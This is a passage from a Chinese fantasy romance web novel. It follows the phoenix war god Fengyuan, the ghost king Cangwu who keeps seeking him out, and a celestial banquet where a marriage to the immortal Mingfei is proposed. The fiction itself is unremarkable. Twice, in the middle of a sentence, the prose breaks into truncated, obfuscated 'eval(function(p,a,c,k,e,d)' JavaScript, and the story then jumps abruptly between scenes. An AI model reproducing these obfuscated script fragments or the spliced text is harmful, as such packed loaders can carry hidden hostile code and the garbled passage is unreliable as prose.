凤渊无奈摇头,心里却乱成一片,刚刚那个人的灰败眼眸里映出的是他的凤凰真身……凤凰一族,唯有命定之人,可见真身。 这团雾会是…… 算了……不想了…… 没过几天,鬼雾又来了,不过他是附身在一个稻草人身上,五官僵硬,只有一个表情;四肢僵硬,走起路来不能屈腿,一晃一晃的,有些滑稽。 再见的时候,凤渊险些没认出来这个稻草人就是要来找他比试的鬼雾。 苍梧道:“我现在变成人了,可以与我一较高下了吧。” 凤渊无情拒绝:“不可以。” 苍梧问:“为什么?” 凤渊道:“手中的剑保护爱的人,并非证明谁比谁强大。若你执意要比,那么我认输,你赢了。” 苍梧格外固执:“不行,还没比呢,怎么就能算我赢了呢。” 凤渊没说话,走了。 之后的几天,苍梧都会以不同的形态来找他比武,有时候是破破烂烂的纸人,有时候是脏兮兮的泥人,走到哪里哪里留下一串泥脚印,让他见了很是心烦。 骂苍梧,苍梧会听,但不会改。 打苍梧,那就违背了他一直以来遵守的底线……凤渊幽幽叹息,刚出生的叽叽喳喳的黏人的小凤凰都没苍梧那么烦人。 被这么缠下去可不是个办法,凤渊没事的时候就喜欢喝喝酒,赏赏花,如今被苍梧这么一搅和,这些兴趣全没有了,他的时间全用来躲苍梧了,新酿的酒都没来得及喝呢。 凤渊很是头疼,正一筹莫展的时候,转机来了。那天,凤渊到月下仙人那里讨酒吃。苍梧纠缠凤渊看似是两个人之间的暗流汹涌,其实还有第三个受害者。 凤渊为了躲苍梧,几乎三天两头跑一次姻缘阁。月下仙人酿得好酒全都被凤渊“顺嘴”喝完了。 月下仙人抱着空酒坛,心疼得不得了:“发生什么大事了啊,让四海八荒第一战神天天跑到我这里来喝得醉醺醺的。” 凤渊道:“别那么小气嘛,不过几坛酒而已 ,再酿就是了。” 月下仙人指着后面几排空掉的酒架,一手伸过去扯着凤渊的耳朵,咆哮道:“几坛!?那是几坛!?” 四排酒架足足有五十坛酒! 凤渊灵活躲掉,顺便拿了壶酒:“这里共有几千坛酒,那些连零头都不是,怎么就不是几坛了。” 月下仙人瞪大了眼睛:“你还敢躲!?说吧,到底为什么事天天到我这里来。” 凤渊咂咂嘴:“也没什么事,就是有个人老是缠着我,让我跟他比试一场。您也知道,我这个人很有原则,不做没意义的事。”说完,他自己先笑了,“那人就是个大傻子,不撞南墙不回头。” 月下仙人将信将疑:“这世上还有你的禁制拦不住的人?当年天帝都被你拦下了。我看不是他缠着你,而是你根本没想拦着吧。” 脑海中浮现鬼雾僵硬的脸,凤渊轻笑:“我跟一个傻子那么计较干什么。” 月下仙人皱眉:“既然不想计较,那你就受着——那人男的女的?哪家的仙子?凤凰一族是不是要有后了?需要不需要我给你一坛醉相思?此酒可以问情知意。” 凤渊轻轻挥手:“喜欢就是喜欢,不喜欢就是不喜欢,何须用酒来证明?还有人傻到连自己的心意都不知吗?你那酒该不会是用来诓人的吧。” “什么话!那可是好酒!” “百年前你突然归隐山林,梧桐林什么都没有,我答应了你父亲和爹爹照顾好你,结果却让你独自一个人在林中……答应了人家的事情没做到,我以后下了九泉,可没脸见你的爹爹和父亲,”月下仙人眼神有些混浊,盯着一处不知道在想什么,没爹娘管的孩子,没人撑腰,受尽了欺负。 若是凤渊的父亲和爹尚在,以他们的地位,凤渊也不至于被欺负的躲到梧桐林去。 月下仙人嘀咕:“不行……我得去看看你的姻缘线有没有结果。” 凤渊一愣,呢喃:“你这小老头想那么多干什么,我跟一个男的能有什么结果……” 月下仙人新收了小仙子,机灵可爱,说话也有意思。凤渊支着下巴,眼里带着些许醉意,笑说:“你说你师父那么操心我的婚事,倒不如直接把你许配给我?” 一直偷看凤渊的小仙子脸本来就红,闻言,脸更红了,留下一句娇嗔,迅速跑走了。 凤渊喝了一口酒:“终于只剩下我一个人了,清净了。” 一抬眸,他脸上如沐春风的笑容便僵住了。 两米高的石人站在门口,愣愣的看着他,虽然五官僵硬,却不难看出震惊之色。 “你们……在干什么……” 石人太高了,几乎挡住全部的光线。 让这里变得昏暗寂静。 凤渊一愣,有种莫名其妙的心虚感,轻咳一声:“聊天啊,你怎么又来了。” 苍梧没好气道:“聊什么天啊,能让人脸那么红,不妨说来给我听听啊。” 凤渊舔了舔唇:“没什么啊,就说她长得漂亮,日后会有个好姻缘。” 苍梧道:“你什么时候干起月老的活了?” 凤渊觉得他莫名其妙:“你吃错药了?怎么还操心起我的事情来了。” 苍梧也说不出来自己什么感觉,就是不想凤渊和别人谈笑风生,走的太近……凤渊应该跟自己痛痛快快的比一场,而不是和别人吃酒喝茶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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两位小仙互相不服气,开始比较谁更了解凤渊战神。凤渊战神远比天帝要受欢迎的多,甚至曾有人开玩笑说,若不是凤渊战神不喜争权夺利,天帝之位哪还有现在天帝的份儿。 都是一些平常的寒暄,凤渊懒得推辞,都一一应下。推杯换盏之间,凤渊喝多了。 凤渊有个臭毛病,喝多了话也跟着变多,又忍不住开始逗小仙娥或者刚飞升不久的小仙。 男的女的都被他撩拨了个遍。 他长了一双含情眼,不笑时似笑,笑时含情,女人为之倾倒,男人为之臣服,男女通吃的本事,在仙界可是独一份。 四海八荒第一战神,唯一一只存活的火凤,而且,战神之名出来前,凤渊可是一直冠着第一美人的头衔,这样近乎完美的人谁见了不喜欢呢? 所有人都沉醉在凤渊迷人的笑容里,只有一人远远的站在一旁安静看着,眼里清明,心里却有一丝苦涩,似乎在想自己该怎么做才能得到这位战神的青睐。 凤渊看向渡劫成功的明霏上仙,微微颔首:“恭喜呀。” 明霏上前一步,笑道:“谢谢。” 他轻轻握住凤渊的手腕,轻声:“这酒辛辣,少喝为好,咱们以酒代茶。” 明霏气质温柔,说话也柔和,像一抹春风轻而易举吹进人的心里。凤渊不好意思拒绝,只好喝了茶。 不知道是不是真的醉了,凤渊起身接茶的时候脚一软,一头歪进了明霏怀中。明霏虚虚环着凤渊的腰,防止他摔倒:“凤渊,你醉了。” “谢过……”凤渊从明霏怀里退出来,理了理凌乱的衣袍,“这点小酒还不足以让我醉呀。” 看着空空的怀抱,明霏皱眉:“那……凤渊可是有什么心事?” 凤渊摇头,双目微微失神:“心事?没有吧……我也不知为何梧桐林雾突然散了……不起雾了……为什么不起雾了……” 雾? 梧桐林可从未起过雾。 明霏虽然很少踏足梧桐林,但他清楚的知道梧桐林从不起雾。 凤渊口中的雾恐是意有所指。 明霏张了张嘴,欲言又止。 话到了嘴边,又不敢问出口,目光越过凤渊,看向坐在高座的天帝。 天帝微微一笑,不疾不徐开口:“诸位,今日刚好大家都在,趁着明霏飞升之喜,不如定了凤渊和明霏的婚事,让仙界来个双喜临门。” 众仙附和:“好啊。” “仙界许久未有喜事了。” “若是凤渊战神和明霏上仙婚事定下,仙界可真是喜上加喜啊。” 婚事?昔日的笑话提这个做什么。 那时候凤渊还不是战神,众人只知道他的美,明霏也是,对凤渊一见钟情,开玩笑说要娶他。 那个时候凤渊喝了点小酒,嘴上不把门,把玩笑开了回去:“娶我?你那么贤惠温柔,要娶也是我娶你呀,小狐狸。” 轻飘飘的语气带朦胧醉意,似真非真,似假非假。 天帝当了真,明霏当了真,还真定了个莫名其妙的婚约。 凤渊眼里闪过一丝清明,挥挥手,笑说:“天帝啊,凤凰这一脉只剩下我一人,要是我娶了明霏,我凤凰一族岂不是要断子绝孙了。” 天帝笑笑:“糊涂了……你看我,把这一茬忘了,哈哈哈……” 明霏低头看着自己的掌心,指尖上仿佛残留着凤渊的体温,一丝苦涩从心里蔓延开来,凤渊啊…… 觉得自己喝的差不多了,再待下去恐会酒意上头闹笑话,凤渊起身,准备随便找个借口离开。 他一站起来,身边的明霏也跟着站起来,细心温柔的扶着他,一手握着他的手腕,一手虚虚环着他的腰,防止他摔倒受伤。 这姿势在外人看起来非常亲昵。 凤渊却觉得没什么,反正现在跟着也无妨,离了大殿他会一个人回梧桐林,他一心想离开,不想浪费口舌推辞,便任由明霏扶着。他们一同站起来,凤渊刚想开口,就听见守门的士兵进来禀告:“陛下,鬼王来了。” 虽然没有邀请鬼界之人,但是对方来都来了,就没有拒之门外的道理,更何况来的人身份尊贵,与天帝平起平坐,更不能拒绝了。 10. 千年前的心跳(2) 鬼王亲临,仍完全凝实身形,依旧维持着一团浓郁人形黑雾的形态,只是那雾气的轮廓比以往任何时候都要接近人形,甚至能勉强看出模糊的五官。 然而,正是这模糊不清的形态,更让他具备无形的压迫感,像无底黑洞随时能将人吃的连骨头渣都不剩。 欢快的笑声戛然而止,觥筹交错骤然消失,所有仙神皆屏息凝神,警惕而惊惧地望向这位不请自来的不速之客。 这团鬼雾纠缠他数日,每次出现不是附在物体上就是藏在黑暗中,凤渊还是第一次见他以如此接近真身的姿态出现。不知是不是错觉,凤渊竟从那团模糊扭曲,勉强能称之为“脸”的雾气轮廓中,清晰地读到了一种名为生气的情绪。 仿佛感受到他的目光,苍梧偏头,缓缓看了过来,用只有他们能听见的声音术法交流:“怎么样?” 他语气里得意洋洋,甚至有点类似于孩童般的炫耀。 凤渊反应平淡:“什么怎么样?” 苍梧道:“你是不是也觉得本王现在很帅,是不是没想到我就是鬼界的王。” 凤渊无奈:“这还用想吗?” 苍梧:“你早就知道?” 凤渊:“嗯哼。” 苍梧心里有点小雀跃,原来凤渊一直知道是他呀,估计是碍于他鬼王的身份,凤渊没有办法到鬼界,才没有来找他,是他考虑少了,现在原谅这数月来凤渊对他的冷落了。 看到凤渊腰间的手,苍梧消下去的怒火又窜上来了:“他是谁?又是你哪个酒友?为什么能如此亲昵的搂着你。” 凤渊道:“你管他是谁。这里是仙界,不是鬼界,你管的未免也太多了吧。” 嘴上这么说,凤渊还是躲开了明霏护在腰间的手。 苍梧哼了一声:“本王就要管。本王乃是鬼界之主,身娇体贵。万一他是什么不三不四的人,想通过你,谋害本王怎么办。” “……” 这里谁能动得了苍梧? 殊不知,苍梧只是想听凤渊夸他厉害,才这样说的。 无人注意到他们之间的暗流汹涌。 明霏的目光不动声色在两人之间流转。 苍梧看向殿内,在几乎冷掉的场子里说了第一句话:“看来诸位不是很欢迎本王啊。” 明霏最先反应过来,他压下心中的惊疑,脸上重新挂上得体却略显僵硬的笑容,上前一步,声音温和却带着不易察觉的紧绷:“鬼王这是哪里话,您贵为一界之主,身份尊贵,能亲临小仙的飞升之宴,是小仙莫大的荣幸。” 端坐上首的天帝亦缓缓开口,目光深邃,语气平静无波,却带着不容置疑的意味:“方才在商讨明霏与凤渊的婚事,既然鬼王来了,不如一起商讨,你觉得这个提议如何?” 一声清晰的冷笑自黑雾中传出,打破了表面的平和,那笑声里的寒意几乎能冻死人,“不如何。” 鬼雾轻飘飘的视线掠过明霏,语气带着毫不掩饰的轻蔑与一种近乎挑衅的霸道:“堂堂天界战神,怎能随意寻个籍籍无名之辈作配?” 此言一出,满座皆惊,众仙虽不敢大声议论,但低低的私语声已如潮水般在席间蔓延开来。 明霏脸色微变,却仍维持着风度,他看向凤渊,语气带着恰到好处的诚恳与一丝不易察觉的委屈:“鬼王此言差矣。我自幼便与阿渊一同修行,情谊非比寻常。这些年阿渊声名鹊起,我亦不曾有半分懈怠,始终努力修行,只为能追上他的脚步。” 鬼雾中的声音带着一种残酷:“本王劝你还是别白费力气了。有些人,天生便站在云端,任凭你如何拼尽全力,也是追赶不上的。” 这话语直白得近乎残忍,戳破了无数人心中不愿承认的现实。 明霏被这话刺得面色发白,他深吸一口气,转而反问,目光锐利地看向那团黑雾:“鬼王如此振振有词,莫非……心中已有了更适合战神的人选?” 全场目光瞬间聚焦于鬼王。 那团黑雾沉默了片刻,模糊的五官轮廓似乎波动了一下,随即,冰冷的两个字砸向寂静的空气:“没有。” “本王觉得仙界没有一个能配得上凤渊的。” “既然仙界没有,那么鬼界呢?” “鬼界就更没有了。”苍梧不耐烦道,“本王又不是凤渊,本王如何知道什么人能配得上他喜欢。” 这话正好落了他的套,明霏问:“既然如此,鬼王为何如此笃定我追不上阿渊呢?” 苍梧微微眯眼,浑身散发着危险气息,他最讨厌与人口舌之争。 明霏刚想开口乘胜追击,灭灭苍梧嚣张的气焰,结果被凤渊硬生生打断。 明霏能言善辩,苍梧定然说不过明霏。 灭一灭苍梧嚣张的气焰是挺好的……但是他不想看见苍梧输在这个场合,当着这么多人的面被颜面扫地。 他的心里会很不舒服。 凤渊开口,冷淡疏离:“多谢鬼王抬爱,我不过平庸之辈,随便什么人都能配得上我……今日,喜贺过,酒也吃了,没什么大事,我便先行离开,诸位,告辞。” 凤渊的离席,如同在看似平静的湖面投下一块巨石,激起的涟漪让整个宴会的气氛变得更加诡异难测。众仙面面相觑,开始窃窃私语,各种猜测,目光在面色难看的明霏、高深莫测的天帝以及那团气息愈发不稳定的鬼雾之间来回逡巡。 明霏站在原地,袖中的手悄然握紧,脸上那惯常的温润笑容几乎维持不住。鬼王方才那番毫不留情的贬低与凤渊下意识的护短,像两记响亮的耳光结结实实打在脸上,让他倍感难堪。他看向那团黑雾,眼中闪过一丝难以掩饰的怨愤,却没敢再说什么。 天帝高踞上座,面容隐在缭绕的仙气之后,看不清具体神色,只有指尖在玉座扶手上轻轻敲击的细微声响,透露出一丝不易察觉的思量。 看着凤渊消失,苍梧第一反应是凤渊在躲他,周身弥漫着的黑雾翻滚得愈发剧烈,浓郁的幽冥寒气不受控制地扩散开来,让离得稍近的几个仙侍忍不住瑟瑟发抖。 那模糊五官轮廓中透出的视线,死死盯着凤渊离去的方向,带着被无视、被撇下的滔天怒意。 “是我多言了,忘了这种场合确实不宜提个人私事,”天帝终于再次开口,声音平稳,却带着无形的压力,将众人的注意力拉回:“既然如此,婚事择日再议。明霏,你虽已飞升,仍需谨守天规,勤加修行,勿要被外物扰了心神。” 明霏深吸一口气,躬身应道:“谨遵天帝教诲。” 只是那低垂的眼眸中,满是不甘。 天帝的目光又转向那团依旧在原地、气息阴沉的鬼雾:“鬼王远道而来,不妨多留片刻,多饮几杯酒水。” “不必了。” 黑雾中传来冰冷至极的回应,比方才更加生硬,“礼已送到,本王便回了。” 话音落下,那团人形黑雾猛地一阵扭曲收缩,随即如同被风吹散的青烟,瞬间消失在原地,只留下一缕若有若无的、令人心惊胆战的幽寒气,证明他来过。 鬼王的离去,并未让气氛缓和多少,反而留下更多猜测与不安。这场本该喜庆的飞升之宴,最终在一种难以言喻的压抑和猜疑中草草收场。 鬼王携着一身几乎要凝结成实质的怒意回到了幽冥殿。他所过之处,连空气中跳跃的幽蓝鬼火都仿佛被冻结,瑟缩着黯淡下去。跟在他身后的提灯小鬼,魂体抖得如同风中残叶,手中的魂灯光芒摇曳不定,几乎要熄灭,连大气都不敢喘。 苍梧现在看什么都不顺眼。 白骨王座?硌得慌! 各种卷宗?碍眼! 一只恰好路过的幽冥犬懵懂抬起头,讨好似的蹭了蹭苍梧的腿。苍梧摸了摸幽冥犬的脑袋,看见小狗银色眼眸一瞬间,脑海中闪过凤渊的眼睛,皱眉着道:“丑死了。” 幽冥犬委屈地“嗷呜”一声,夹着尾巴钻入地底,消失不见。 看着自家鬼王陛下这几乎要掀翻整个幽冥殿的冲天怨气,提灯小鬼壮着胆子,声音细若蚊蚋地问:“殿……殿下……可是与战神殿下相处得不愉快?” 整个鬼界都知道他们鬼王因为一个人变得愈发阴晴不定了。 这话如同点燃了炸药桶。 苍梧猛地转身,周身黑雾翻涌,灰败的眼眸中怒火熊熊,声音如同万年寒冰:“愉快,那可真是太愉快了。就是听信了你的蠢话,说什么‘现身一见以表诚意’,本王才去那无聊的宴会见凤渊,结果脸面都丢尽了!” 凤渊根本不把他当回事!人家左拥右抱正欢心呢!而且还是男女通吃! 提灯小鬼吓得差点把魂灯丢出去,连忙跪伏在地,声音带着哭腔:“王,请息怒!小的……小的愚钝,不知具体发生了何事,惹得陛下如此动怒……” 苍梧一挥袖,一道鬼气将旁边一座无辜的灯架打得粉碎,气得不说话了,那么丢人的事实在说不出口。 说什么? 难道要质问凤渊,本王不来找你你就不会去找本王吗? 提灯小鬼欲哭无泪:“……” 低等小鬼无法离开鬼界,更去不了仙界,混不进那种级别的宴会,怎么打听啊…… 看着跪在地上抖成一团、满脸写着“无能为力”的提灯小鬼,苍梧胸中的闷气更盛,他烦躁地在殿内踱步,玄色冕服带起一阵阵阴风。 良久,小鬼似乎想到了什么,小心翼翼地抬起头,眼中闪过一丝狡黠,压低声音道:“殿下,既然明着来不行,那咱们就来暗的。” 苍梧脚步一顿,紫瞳斜睨向他:“嗯?” 提灯小鬼凑近了些,声音带着怂恿:“您想啊,以殿下您的无上法力,想要神不知鬼不觉地迷惑一个仙人的心智,那还不是易如反掌?何必与他多费唇舌,直接让他……” 他做了个微妙的手势,“对您言听计从,岂不省事?” 苍梧闻言,紫瞳中幽光一闪,显然被这个提议触动了。他停下脚步,指尖摩挲着下颌,似乎在认真考虑这个下三滥的手段。 殿内一时间只剩下鬼火燃烧的噼啪声,以及某位鬼王心中天平逐渐倾斜的声响。 从仙宴回来后,凤渊就卧在梧桐树下,闭眼假寐,黄色的梧桐叶从树上缓缓飘落,好巧不巧刚好盖在美得雌雄莫辨的脸上,更引人想梧桐叶下是怎样漂亮的脸。华丽的衣袍随意铺在地上,上面有几片梧桐叶。 微风徐徐吹着,衣摆微微动着,是一副安逸漂亮的美人酣睡图。 哒哒——脚步声突兀的响起。 凤渊缓缓睁开眼,单手支着下巴,寻着声音看过去,在梧桐树林的结界边缘看见正在焦急踱步的明霏。 想必是为宴会上的事情而来。 凤渊一挥手,结界消失,安静的梧桐林终于传来几声不清晰的鸟鸣声。 “你来了。”凤渊淡淡的开口。 明霏心中一喜,脸上带着微微歉意:“阿渊,我就知道你在此处……宴会上我本无意提起婚事,请你不要挂在心上,抱歉。” 本来不想说话,脑海中忽然闪过那张模糊的脸,一直不擅长处理也懒得处理这种事情的凤渊顺着说下去:“年轻时口无遮拦说得玩笑话,确实不应该挂在心上,你说对吧,小……明霏。” 明霏看得出他的纠结:“想喊什么就喊吧,那只是一个称呼而已。” 凤渊摇头,从梧桐叶堆中起身:“我们都长大了,有些称呼确实不合适了。” 随着他的动作,桐叶簌簌飘落,有的随风远去,就像他们的关系随风飘远了。 明霏心中苦涩,低低道:“是……” 凤渊缓步走进梧桐林深处,单薄的身影几乎与树色融为一体,结界在身后无声闭合。明霏站在原地看了很久很久,就连肩膀上什么时候落了桐叶都不知道。 两个人的关系怎么就变远了呢…… 直到密林深处,凤渊垂眸,几绺墨发随风轻拂过肩头,淡淡道:“出来吧。” 话音刚落,周遭的光线倏地黯淡,一团浓郁如墨的鬼雾悄无声息地弥漫开来,将整片梧桐林笼罩在阴森的氛围中。 雾中传来带着几分讶异的声音:“你怎么知道我来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苍梧一愣,他从不知道自己在凤渊心里竟然这般重要,心中愉悦,嘴上却道:“我不信,你明明左右拥抱潇洒得很,哪里有一点苦苦等待的模样。” “小鬼王……”凤渊低笑,声音里带着洞悉一切的从容,“你未免太贪心了吧,怎么要这要那的。” 他的眼睛骤然恢复清明,根本没有被蛊惑! 那些话是他逗他的! “不可能!”鬼雾剧烈地翻腾起来,那只灰白的眼睛里写满了难以置信,“我们鬼界的人最擅长摄魂夺魄,你怎么能,怎么可能没被蛊惑……” 凤渊笑着摇头,眼底闪过一丝狡黠:“因为我不以真身见人,这非我的真眼……你的蛊惑需要盯着眼睛完成,你看不到我真正的眼睛,如何蛊惑我呢。” 脑海里浮现红发银眸的青年,鬼雾骤然静止,连那只硕大的眼睛都微微眯起,流露出前所未有的复杂情感,这也是苍梧第一次知道,原来这世上还有他蛊惑不了的人。 林中忽然陷入一片死寂,只有梧桐叶在无声飘落。良久,鬼雾中传来一声意味不明的冷哼:“那你方才的话是真是假?” 凤渊道:“话是我的说,可是是你听的。你觉得是真,那便是真,你觉得是假,那便是假。我做不了主。” 苍梧沉思了一会儿,慢慢反应过来这话里的意思:“你竟然敢耍本王!” 凤渊:“我可没有耍你,倒是你对我有所隐瞒。” “我瞒你什么了?” “你没告诉我你是鬼王。” 凤渊寻了个舒服的地方随意坐下,摊开掌心,空手变出一壶酒,边笑边喝。 苍梧一屁股坐到凤渊身边,顺手抢他的酒喝:“你也从没问过我,若是你问,我定然坦然相告。” 凤渊盯着苍梧的眼睛,虽然就一只,虽然瞳色灰白,但他却看见了格外明亮的色彩,毫无保留的真诚。那种情感他从天帝眼里,从明霏眼里,都未曾看到过。 内心深处被这明亮的色彩轻轻拨动,心弦突兀的响了一下,震得心腔发麻。 “哦。”凤渊忽略掉心中异样的感觉,拍开苍梧的手,夺回自己的酒。 “就哦?本王可是鬼界之主,身份何等高贵,与你做朋友你应该感到荣幸才是……” “那我简直三生有幸,谢谢你啊。” “敷衍……没诚意。” “你看看你,我不说你不高兴,说了你还不高兴,怎么比小孩还难伺候。”凤渊用梧桐叶擦了擦被苍梧用过的瓶口,然后才抿了一口。 苍梧瞪大了眼睛:“你敢嫌弃我!?” 凤渊轻笑:“我怕你下毒。” 苍梧道:“本王才不用那些下三滥的手段。” 凤渊笑着摇头,胳膊枕在脑后,慢慢品着酒,赏着落叶,眼睛舒服惬意的微微眯着,全然一副放松毫无戒备的姿态。 苍梧歪斜的靠在凤渊身上,雾气泄露,悄无声息的环绕在凤渊身边,将凤渊包围。凤渊不自在的推了推苍梧的脑袋:“起开,你太沉了。” 苍梧无赖道:“我才不要,随便哪个无名小辈都能楼你的腰,我靠靠怎么了?” 凤渊:“……” 苍梧又道:“你和那个明啊什么的东西到底什么关系?” 凤渊语调懒懒的:“他啊,我未婚夫啊。” 苍梧啧了一声:“他配不上你。” 凤渊道:“没有什么配得上配不上的,我喜欢就行。” 苍梧哦了一声,声音带着他自己都未察觉到失落。 安静下来后,苍梧突然开口:“眼光真差。” 凤渊一愣:“……” 苍梧继续:“酒真难喝。” 凤渊无语。 苍梧:“你身体真硬,不如本王的白骨座软和。” 凤渊:“你发什么疯。” “……” 苍梧没说话,突然变得不像自己,他也不知道自己为什么会变得这样……为什么呢……他的目光下意识看向凤渊,凤渊闭着双眼,怀里抱着桃花酒,不知道什么时候睡着了。 他的目光一寸一寸描摹着凤渊的容颜,似乎要刻在记忆深处,用自己听得见的声音轻声呢喃:“你还没与本王比试呢,本王不许你喜欢别人。” 可是,比试与凤渊喜欢谁又有什么关系呢? 苍梧周身的雾气比方才溢出的更加厉害,完完全全的将凤渊包裹,似要将凤渊吞噬。 身处黑雾中间的凤渊全然不觉。 11. 千年前的心跳(3) 这偌大的梧桐林,因着那位不请自来的常客,再也寻不回往日的静谧。几乎每日,本应该安静的梧桐林深处总会传来一些不同寻常的声音,比如凤渊战神无奈的声音,“唉,你这个鬼别总是抢我酒”;鬼王苍梧得意的声音,“不让你喝是为你好,省得你喝醉后乱撩拨什么明啊霏啊的东西”。 以及两个人打情骂俏的声音。 “既然你都不想比试了,每天还来找我干什么?” “本王乐意。” “那不就是无赖嘛。” …… 梧桐林里的雀鸟都知道住在这里不苟言笑的凤渊战神最近越发喜欢笑了。 凤渊每日醉卧在那棵最粗壮的梧桐枝干上,姿态慵懒,仿佛将那横生的枝桠当成了专属的卧榻。他甚至不再像最初那般刻意隐匿气息,反倒像是在等鬼界之主准时到来。细看之下,那总是微蹙的眉宇间,似乎还隐着一丝极淡的、连自己都未曾察觉的期待。 这日,凤渊依旧如常,他单手勾着那只似乎永远也喝不空的玉壶,另一只手随意垫在脑后,醉意朦胧的凤眸半阖着,目光没有焦点地落在虚空中,不知在思量些什么。 忽然,一只羽色鲜亮的小雀儿扑棱着翅膀落在近旁的枝头,歪着小小的脑袋,黑豆似的眼睛瞅着凤渊,口吐人言,声音清脆:“凤凰大人,好几天都没有给梧桐林设禁制了呢。” 林中的精怪们都知道,这位凤凰大人性子喜静,不喜被打扰,以往总会在这片核心区域设下无形的禁制,隔绝外界的喧嚣与窥探。 凤渊闻言,唇角轻轻勾起一抹浅淡的弧度,并未看向小鸟,只是望着枝叶间漏下的天光,轻笑着,语气里带着一种难以言喻的纵容和一丝似有若无的调侃:“设了禁制啊……”他顿了顿,声音里带着醉意的懒散,“怕有傻子会找不到路啊。” 前几天,苍梧来找他,不过是随意吐槽了几句“这儿的破路真难找”、“每次来都是新的路”……之类的话。 苍梧只是随便吐槽,他记得凤渊的味道,无论凤渊到哪里,他都能找到凤渊。只是,说者无心,听者有意,那日之后,梧桐林就没有禁制了。 林间的光线突然黯淡了几分,一丝熟悉的,带着九幽气息的凉意悄然弥漫开来。那团黑雾,果然又一次分毫不差地出现在了梧桐林。 小雀儿吓得“啾”了一声,立刻振翅飞走,留下枝叶轻轻摇曳。 凤渊依旧维持着慵懒的姿势,甚至连眼神都没变一下,只是对着空气,仿佛自言自语般轻声道:“来得还真是时候……” 苍梧看见凤渊卧在树上,醉眼朦胧,手里还提着酒,语气带着一些埋怨:“你又喝酒……每次一喝酒你就说些胡话撩拨我……我最烦看到你醉醺醺的样子,不许喝了。” 凤渊晃了晃手中空了的酒壶,唇角噙着一抹慵懒的笑意:“我撩拨你?我撩了也没见你反抗啊。你若说一句不喜欢,我肯定不会继续。” 苍梧瞪眼:“照你这么说还是本王的错?” “难不成我的?你不拒绝我,又怪我撩拨你。嫌我撩拨你,倒是拒绝我啊。” “哪来的歪理,”苍梧不理他了,不是他不想拒绝,而是,凤渊那双湿润含情的眼睛,实在是……实在是让人无法拒绝。 每次和那含情眼对视,他都会输的一败涂地,甚至连自己姓谁名谁都忘了,哪还记得反驳,拒绝。 他有时候都怀疑,凤渊才是那只会勾魂夺魄的鬼。 凤渊见他不说话,继续追问:“怎么不说话了,生气啦?那我以后不撩拨你就是了。” 苍梧急道:“本王不许。” 凤渊道:“我说你难伺候吧,撩你你不愿意,不撩你又不愿意。算了,我还是去仙界找其他人,省得你嫌我是个醉鬼。” 苍梧:“不准。本王不许你撩拨别人,你只能撩拨本王。” 他喜欢的。 他喜欢凤渊跟他说暧昧的话。 没有理由的,就是喜欢凤渊跟他亲近。 他身为鬼界之主,不能将喜色表现出来。 人人都能看出他的心思,他鬼界之主的威严还往哪搁。 所以只好暗自窃喜了。 凤渊轻笑,没再继续这个话题,这种没营养的话题,他和苍梧你一言,我一句的,都能从天亮聊到天黑,再从天黑聊到天亮,最后以苍梧无话可说,气急败坏收场。 他可不想哄这个幼稚的鬼王:“我倒是挺好奇,你身为一界之主怎么就那么闲,几乎每天都会到我这里来找事儿。” 苍梧哼道:“哪里闲了,你怎么知道本王回去后不办事?幸亏我们鬼不需要休息,不然,这么连轴转的生活肯定要累死了。” 凤渊但笑不语,忽然从高高的枝头一跃而下。今日卧得实在有些高了,加之酒意未散,下落时带来一阵强烈的晕眩感,身形微滞,竟真有几分要摔倒的趋势。然而,他眼中却无半分惊慌,因为他知道,有个人,会及时接住他。 数月以来的相处,他早就摸清楚了苍梧嘴硬心软,口是心非的脾性。 果然,腰间一紧,冰冷的触感传来,下一刻他便落入了一个由雾气凝聚而成的、看似虚幻却异常稳固的怀抱。 苍梧没好气地瞪着怀中的人,尽管雾气没有清晰的眼睛:“也不怕摔死你。” 方才若是他反应慢上一瞬,凤渊肯定要摔了。 凤渊打打杀杀那么多年,手下亡魂无数,身上伤痕无数,早就不怕这些疼了,可是,每当苍梧在身边的时候,他会允许自己娇气一点:“有你在我身边,我还怕什么死啊。你可是鬼王唉,就算我死了,凭你一句话就能把我从鬼界放回来。” “那是自然,”苍梧扬了扬下巴,“但本王不想。” 凤渊微微一怔,随即从他怀中退出半步,墨发在风中轻扬,他笑了起来,那笑容在阳光下有些晃眼:“那正好,我直接留在鬼界,省的你每天跑那么远来寻我了。” 苍梧斩钉截铁:“不行。” 凤渊挑眉,故意曲解他的意思,带着几分戏谑:“怎么不行?莫非……鬼王大人是怕我太厉害,去了你的地盘,你打不过我,被我抢了鬼界之主的位置?” 他拍了拍苍梧,语气轻松,“放心好了,我对鬼界之主的位置可没半点兴趣……” 苍梧打断他的话:“这位置你想要便拿去,鬼界不好,终日不见太阳,只有不停吹的阴风与无尽的深渊。那里不适合你。” 他不希望凤渊去到那样一个地方,哪怕只是假设。 原来不是不想放,而是压根就不想让他死。 凤渊惊讶苍梧的坦诚,更因他这番话而感到快乐,这大概是他第一次体会到有人替他考虑,有人关心他的感觉,那简直美妙极了:“你都能在那生活千年,你能去为何我去不得?” 苍梧道:“那不是我能选择的,我是天生地养,一出生就在鬼界,管理鬼界,平衡阳阳是我与生俱来的责任,无法推脱。” 凤渊静静地听着,看着眼前总是缠着他、带着点蛮横又有些傲娇的鬼王,第一次清晰地感知到那份强大力量与尊贵身份之下,所背负的沉重与孤寂。 凤渊的心头仿佛被什么东西轻轻撞了一下,一种陌生的情绪在心底悄然蔓延开来。他伸出手,指尖仿佛想触碰那翻涌的雾气,最终却只是停留在咫尺之遥,轻声道:“苍梧,你……” “阿渊,过几日便是你的生辰……” 明霏清朗的声音从不远处传来,带着一贯的温润。他脸上带着恰到好处的笑意,目光落在凤渊身上,仿佛才看到那团浓郁的黑雾,笑容微僵,语气也带上了几分不易察觉的谨慎,“……鬼王殿下也在。” 几乎是在明霏声音响起的瞬间,环绕在凤渊周身的鬼雾骤然聚成一团,原本只是微凉的气息瞬间变得刺骨阴寒。 雾气剧烈翻腾,不再是方才那般松散无害的模样,而是显露出一种极具攻击性的、戒备的姿态。虽然没有清晰的五官,但锁定在明霏身上的视线,充满了毫不掩饰的敌意与被打扰的暴戾。 